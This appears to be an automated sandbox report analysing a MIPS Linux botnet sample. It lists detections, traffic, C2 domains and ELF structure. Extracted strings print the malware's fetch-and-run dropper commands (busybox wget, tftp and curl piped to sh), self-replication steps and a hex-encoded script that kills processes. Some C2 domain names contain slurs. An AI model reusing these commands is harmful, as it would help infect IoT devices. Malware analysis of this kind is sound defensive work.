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Linux Analysis Report
nabmpsl.elf

Overview

General Information

Sample name:	nabmpsl.elf
Analysis ID:	1543103
MD5:	2311a1864b48055b9bb2ea1f97291ca2
SHA1:	32eccd6657b56ec2097d17c35ecd8620a699c244
SHA256:	fb4de31450a836f29e01af2293923a38b347148611a317ddbf1a687bfb24ce4b
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543103
Start date and time:	2024-10-27 09:01:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabmpsl.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/68@12/0

Runtime Messages

Command:	/tmp/nabmpsl.elf
PID:	5519
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabmpsl.elf (PID: 5519, Parent: 5436, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/nabmpsl.elf

nabmpsl.elf New Fork (PID: 5521, Parent: 5519)

nabmpsl.elf New Fork (PID: 5523, Parent: 5521)

nabmpsl.elf New Fork (PID: 5525, Parent: 5521)

nabmpsl.elf New Fork (PID: 5527, Parent: 5521)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabmpsl.elf

ReversingLabs: Detection: 47%

Source: nabmpsl.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 185.150.24.67 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.14:57408 -> 45.156.86.24:38241
Source: global traffic	TCP traffic: 192.168.2.14:50408 -> 185.150.24.67:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 133.175.192.202
Source: unknown	TCP traffic detected without corresponding DNS query: 113.207.47.107
Source: unknown	TCP traffic detected without corresponding DNS query: 133.175.192.202
Source: unknown	TCP traffic detected without corresponding DNS query: 113.207.47.107
Source: unknown	TCP traffic detected without corresponding DNS query: 118.236.213.136
Source: unknown	TCP traffic detected without corresponding DNS query: 211.76.188.184
Source: unknown	TCP traffic detected without corresponding DNS query: 118.236.213.136
Source: unknown	TCP traffic detected without corresponding DNS query: 211.76.188.184
Source: unknown	TCP traffic detected without corresponding DNS query: 119.200.200.5
Source: unknown	TCP traffic detected without corresponding DNS query: 131.194.161.245
Source: unknown	TCP traffic detected without corresponding DNS query: 119.200.200.5
Source: unknown	TCP traffic detected without corresponding DNS query: 85.29.144.180
Source: unknown	TCP traffic detected without corresponding DNS query: 131.194.161.245
Source: unknown	TCP traffic detected without corresponding DNS query: 85.29.144.180
Source: unknown	TCP traffic detected without corresponding DNS query: 158.39.168.105
Source: unknown	TCP traffic detected without corresponding DNS query: 158.39.168.105
Source: unknown	TCP traffic detected without corresponding DNS query: 215.23.233.79
Source: unknown	TCP traffic detected without corresponding DNS query: 200.34.162.127
Source: unknown	TCP traffic detected without corresponding DNS query: 215.23.233.79
Source: unknown	TCP traffic detected without corresponding DNS query: 200.34.162.127
Source: unknown	TCP traffic detected without corresponding DNS query: 76.124.181.175
Source: unknown	TCP traffic detected without corresponding DNS query: 76.124.181.175
Source: unknown	TCP traffic detected without corresponding DNS query: 109.126.91.174
Source: unknown	TCP traffic detected without corresponding DNS query: 109.126.91.174
Source: unknown	TCP traffic detected without corresponding DNS query: 108.101.105.46
Source: unknown	TCP traffic detected without corresponding DNS query: 108.101.105.46
Source: unknown	TCP traffic detected without corresponding DNS query: 124.139.11.117
Source: unknown	TCP traffic detected without corresponding DNS query: 124.139.11.117
Source: unknown	TCP traffic detected without corresponding DNS query: 61.208.217.202
Source: unknown	TCP traffic detected without corresponding DNS query: 16.86.85.32
Source: unknown	TCP traffic detected without corresponding DNS query: 61.208.217.202
Source: unknown	TCP traffic detected without corresponding DNS query: 170.34.171.147
Source: unknown	TCP traffic detected without corresponding DNS query: 16.86.85.32
Source: unknown	TCP traffic detected without corresponding DNS query: 122.136.60.35
Source: unknown	TCP traffic detected without corresponding DNS query: 170.34.171.147
Source: unknown	TCP traffic detected without corresponding DNS query: 163.180.109.70
Source: unknown	TCP traffic detected without corresponding DNS query: 122.136.60.35
Source: unknown	TCP traffic detected without corresponding DNS query: 167.66.144.186
Source: unknown	TCP traffic detected without corresponding DNS query: 163.180.109.70
Source: unknown	TCP traffic detected without corresponding DNS query: 151.107.62.75
Source: unknown	TCP traffic detected without corresponding DNS query: 167.66.144.186
Source: unknown	TCP traffic detected without corresponding DNS query: 19.49.130.187
Source: unknown	TCP traffic detected without corresponding DNS query: 151.107.62.75
Source: unknown	TCP traffic detected without corresponding DNS query: 202.28.114.132
Source: unknown	TCP traffic detected without corresponding DNS query: 19.49.130.187
Source: unknown	TCP traffic detected without corresponding DNS query: 202.214.85.156
Source: unknown	TCP traffic detected without corresponding DNS query: 111.246.213.88
Source: unknown	TCP traffic detected without corresponding DNS query: 202.28.114.132
Source: unknown	TCP traffic detected without corresponding DNS query: 78.99.59.209
Source: unknown	TCP traffic detected without corresponding DNS query: 202.214.85.156

Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: chinklabs.dyn

Source: nabmpsl.elf	String found in binary or memory: http:///curl.sh
Source: nabmpsl.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5550/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5540/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5540/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5540/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5551/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5541/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5541/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5541/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5541/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5552/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5542/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5542/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5543/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5543/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5554/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5544/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5544/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5545/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5545/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5546/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5546/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5547/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5547/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5548/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5548/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5549/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5549/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5539/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5525)	File opened: /proc/5539/cmdline	Jump to behavior

Source: nabmpsl.elf, 5519.1.000055ab507f0000.000055ab50877000.rw-.sdmp, nabmpsl.elf, 5523.1.000055ab507f0000.000055ab50877000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: nabmpsl.elf, 5519.1.000055ab507f0000.000055ab50877000.rw-.sdmp, nabmpsl.elf, 5523.1.000055ab507f0000.000055ab50877000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: nabmpsl.elf, 5519.1.00007ffe11b9e000.00007ffe11bbf000.rw-.sdmp, nabmpsl.elf, 5523.1.00007ffe11b9e000.00007ffe11bbf000.rw-.sdmp	Binary or memory string: Ix86_64/usr/bin/qemu-mipsel/tmp/nabmpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabmpsl.elf
Source: nabmpsl.elf, 5519.1.00007ffe11b9e000.00007ffe11bbf000.rw-.sdmp, nabmpsl.elf, 5523.1.00007ffe11b9e000.00007ffe11bbf000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.24	true	true	unknown
chinklabs.dyn	185.150.24.67	true	true	unknown
burnthe.libre	45.156.86.24	true	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
44.236.156.4	unknown	United States	16509	AMAZON-02US	false
212.111.3.210	unknown	Czech Republic	25424	INEXT-CZInterneXt2000sroCZ	false
77.209.109.56	unknown	Spain	12430	VODAFONE_ESES	false
81.73.10.210	unknown	Italy	3269	ASN-IBSNAZIT	false
144.216.234.155	unknown	United States	7896	NU-ASUS	false
82.186.90.136	unknown	Italy	3269	ASN-IBSNAZIT	false
22.126.75.6	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
14.254.98.79	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
87.99.224.206	unknown	Sweden	12501	NORRNODITSSE	false
166.60.254.75	unknown	United States	3371	MCI-ASNUS	false
60.179.121.162	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
7.233.141.200	unknown	United States	3356	LEVEL3US	false
13.56.23.55	unknown	United States	16509	AMAZON-02US	false
110.54.143.137	unknown	Philippines	132199	GLOBE-MOBILE-5TH-GEN-ASGlobeTelecomIncPH	false
173.35.33.12	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
115.227.251.169	unknown	China	58461	CT-HANGZHOU-IDCNo288Fu-chunRoadCN	false
78.129.218.34	unknown	United Kingdom	20860	IOMART-ASGB	false
149.195.83.66	unknown	United Kingdom	8386	KOCNETTR	false
37.221.144.247	unknown	Ukraine	62384	RADIOSERVICE-ASUA	false
40.180.184.236	unknown	United States	4249	LILLY-ASUS	false
58.70.53.160	unknown	Japan	17511	OPTAGEOPTAGEIncJP	false
12.75.104.6	unknown	United States	7018	ATT-INTERNET4US	false
85.163.19.125	unknown	Czech Republic	28725	CETIN-ASCZ	false
164.110.235.64	unknown	United States	14827	WSDOT-ASNUS	false
63.27.171.228	unknown	United States	6984	NYNEX-ASUS	false
82.75.50.146	unknown	Netherlands	33915	TNF-ASNL	false
204.189.36.45	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
1.240.59.57	unknown	Korea Republic of	38415	GOEGN-AS-KRGuriNamyangjuOfficeOfEducationKR	false
214.50.76.154	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
134.215.97.137	unknown	United States	4181	TDS-ASUS	false
31.46.180.171	unknown	Hungary	5483	MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU	false
159.71.16.201	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
141.248.166.80	unknown	United States	395624	GACORPUS	false
146.246.151.183	unknown	United States	3562	SNLL-NET-ASUS	false
184.175.210.186	unknown	United States	19531	NODESDIRECTUS	false
176.191.117.221	unknown	France	5410	BOUYGTEL-ISPFR	false
175.207.109.192	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
125.193.148.79	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
45.156.86.24	yellowchink.pirate	Germany	44592	SKYLINKNL	true
74.236.83.96	unknown	United States	7018	ATT-INTERNET4US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	jklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	mpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklmips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	jydeTkHxMv.elf	Get hash	malicious	Unknown	Browse	77.105.135.60
yellowchink.pirate	EGQr0VDazQ.elf	Get hash	malicious	Unknown	Browse	5.181.80.189
	q9WhhN00yY.elf	Get hash	malicious	Unknown	Browse	77.105.135.60
	ztGOiA742S.elf	Get hash	malicious	Unknown	Browse	77.105.135.60
chinklabs.dyn	jklarm.elf	Get hash	malicious	Unknown	Browse	185.150.24.67

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VODAFONE_ESES	m68k.elf	Get hash	malicious	Mirai	Browse	77.229.193.236
	kkkarm7.elf	Get hash	malicious	Unknown	Browse	5.225.163.15
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	81.60.1.240
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	77.225.31.72
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	95.62.67.128
	HUyUkUjJ4y.elf	Get hash	malicious	Unknown	Browse	37.222.252.48
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	77.210.20.173
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	137.101.5.186
	gNubpp8EFH.elf	Get hash	malicious	Mirai	Browse	31.4.182.79
	jade.x86.elf	Get hash	malicious	Mirai	Browse	62.174.98.64
INEXT-CZInterneXt2000sroCZ	na.elf	Get hash	malicious	Mirai	Browse	212.111.23.80
	Kt3mHbCO6N.elf	Get hash	malicious	Mirai	Browse	188.244.62.119
	skt.spc.elf	Get hash	malicious	Mirai	Browse	212.111.23.64
	Rakitin.arm5.elf	Get hash	malicious	Mirai	Browse	212.111.23.78
	Vff9cChVcL.elf	Get hash	malicious	Mirai	Browse	212.111.23.86
	ACp6pRv2ao.elf	Get hash	malicious	Mirai	Browse	212.111.23.81
	9uo9fT3S3Z.elf	Get hash	malicious	Mirai	Browse	212.111.23.83
	x3x38db0fa4b8db0333367e9bda3ab68b8042.exe	Get hash	malicious	Mirai	Browse	212.111.23.76
	EVONwD7gbk.elf	Get hash	malicious	Gafgyt, Mirai, Xmrig	Browse	85.92.44.54
	Q29TxrhFz0.elf	Get hash	malicious	Mirai	Browse	212.111.23.96
AMAZON-02US	jklarm.elf	Get hash	malicious	Unknown	Browse	3.196.103.197
	nklmips.elf	Get hash	malicious	Unknown	Browse	35.73.110.231
	arm7.elf	Get hash	malicious	Mirai	Browse	52.34.218.231
	sh4.elf	Get hash	malicious	Mirai	Browse	13.52.96.72
	m68k.elf	Get hash	malicious	Mirai	Browse	54.79.77.104
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	3.14.123.23
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	https://duy38.r.ag.d.sendibm3.com/mk/cl/f/sh/1t6Af4OiGsF30wT9TF4ckLf3fAzx5z/28D7HenRXzOU	Get hash	malicious	LummaC	Browse	18.157.122.248
	order confirmation.exe	Get hash	malicious	DBatLoader, FormBook	Browse	185.166.143.49
	SecuriteInfo.com.Win64.Malware-gen.4046.15809.exe	Get hash	malicious	Unknown	Browse	45.112.123.126

Process:	/tmp/nabmpsl.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.13371095443629
Encrypted:	false
SSDEEP:	6:URe6gDF+VPj/VcDFnT/V/BHT/VDM/V+4D/VH:IefUMpHRMfF
MD5:	6CC8AEC8D80776E6A7393985ECF173CF
SHA1:	E941959E4B7E0203301CA25C8C6A1D627746D2F3
SHA-256:	CD2939B573A56E649A2781DB702B6DA3B344FC145ADE251FD0931498FE2060A9
SHA-512:	BDA51B628B2BC82598AEA9BD6398BA9171F9679BB1E022795F66D251898E846642EF7E3BED2F568ED6D1EE751492C14B3E3A816C1B5AD5811B1A5AA189DFF907
Malicious:	false
Reputation:	low
Preview:	400000-40e000 r-xp 00000000 fd:00 531606 /tmp/..44d000-44e000 rw-p 0000d000 fd:00 531606 /tmp/..44e000-450000 rw-p 00000000 00:00 0 .450000-451000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabmpsl.elf	false		unknown
http:///curl.sh	nabmpsl.elf	false		unknown

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.507440139141209
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabmpsl.elf
File size:	55'768 bytes
MD5:	2311a1864b48055b9bb2ea1f97291ca2
SHA1:	32eccd6657b56ec2097d17c35ecd8620a699c244
SHA256:	fb4de31450a836f29e01af2293923a38b347148611a317ddbf1a687bfb24ce4b
SHA512:	24e7984893a001c37a67492a7a05f963f418469466928c5223f370aa7e596222b65c0332a6155df03dcd778cd05374b8ecdc30fcaab7099b41bd4d6439d6c536
SSDEEP:	1536:cz/dthhTRQcj3xlEC5QceGF9FQGuEvYKnI8sRbp:cz/PRQgxDkKnI
TLSH:	1843A609BB618EA7D8AFCC3745BD4F8538CD810721A93BB52474E818F36B54F5AD3868
File Content Preview:	.ELF....................`.@.4...........4. ...(...............@...@...........................D...D.@...$...........Q.td...............................<.R.'!......'.......................<xR.'!... .........9'.. ........................<HR.'!...........`.9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	55168
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xbfb0	0x0	0x6	AX	16
.fini	PROGBITS	0x40c0d0	0xc0d0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40c130	0xc130	0xfa0	0x0	0x2	A	16
.ctors	PROGBITS	0x44d0d4	0xd0d4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x44d0dc	0xd0dc	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x44d0e4	0xd0e4	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x44d0e8	0xd0e8	0xd8	0x0	0x3	WA	4
.data	PROGBITS	0x44d1c0	0xd1c0	0x180	0x0	0x3	WA	16
.got	PROGBITS	0x44d340	0xd340	0x3d4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x44d714	0xd714	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x44d740	0xd714	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0xd714	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xd714	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xd0d0	0xd0d0	5.5585	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd0d4	0x44d0d4	0x44d0d4	0x640	0x1824	3.3325	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 09:02:22.679965019 CET	48982	53	192.168.2.14	168.235.111.72
Oct 27, 2024 09:02:22.776807070 CET	53	48982	168.235.111.72	192.168.2.14
Oct 27, 2024 09:02:34.167197943 CET	39254	53	192.168.2.14	194.36.144.87
Oct 27, 2024 09:02:34.177745104 CET	53	39254	194.36.144.87	192.168.2.14
Oct 27, 2024 09:02:46.016859055 CET	35753	53	192.168.2.14	194.36.144.87
Oct 27, 2024 09:02:46.027146101 CET	53	35753	194.36.144.87	192.168.2.14
Oct 27, 2024 09:02:57.876311064 CET	54917	53	192.168.2.14	81.169.136.222
Oct 27, 2024 09:02:57.904453993 CET	53	54917	81.169.136.222	192.168.2.14
Oct 27, 2024 09:02:59.509641886 CET	58944	53	192.168.2.14	202.61.197.122
Oct 27, 2024 09:02:59.520214081 CET	53	58944	202.61.197.122	192.168.2.14
Oct 27, 2024 09:03:11.366384983 CET	57378	53	192.168.2.14	51.158.108.203
Oct 27, 2024 09:03:11.382255077 CET	53	57378	51.158.108.203	192.168.2.14
Oct 27, 2024 09:03:23.212882996 CET	47394	53	192.168.2.14	168.235.111.72
Oct 27, 2024 09:03:23.300579071 CET	53	47394	168.235.111.72	192.168.2.14
Oct 27, 2024 09:03:24.926362038 CET	55672	53	192.168.2.14	51.158.108.203
Oct 27, 2024 09:03:24.942477942 CET	53	55672	51.158.108.203	192.168.2.14
Oct 27, 2024 09:03:26.556806087 CET	56486	53	192.168.2.14	81.169.136.222
Oct 27, 2024 09:03:26.585391998 CET	53	56486	81.169.136.222	192.168.2.14
Oct 27, 2024 09:03:38.415515900 CET	38942	53	192.168.2.14	194.36.144.87
Oct 27, 2024 09:03:38.425981045 CET	53	38942	194.36.144.87	192.168.2.14
Oct 27, 2024 09:03:40.027019024 CET	53577	53	192.168.2.14	81.169.136.222
Oct 27, 2024 09:03:40.059389114 CET	53	53577	81.169.136.222	192.168.2.14
Oct 27, 2024 09:03:51.426306009 CET	56390	53	192.168.2.14	81.169.136.222
Oct 27, 2024 09:03:51.454842091 CET	53	56390	81.169.136.222	192.168.2.14

Start time (UTC):	08:02:21
Start date (UTC):	27/10/2024
Path:	/tmp/nabmpsl.elf
Arguments:	/tmp/nabmpsl.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	08:02:22
Start date (UTC):	27/10/2024
Path:	/tmp/nabmpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabmpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

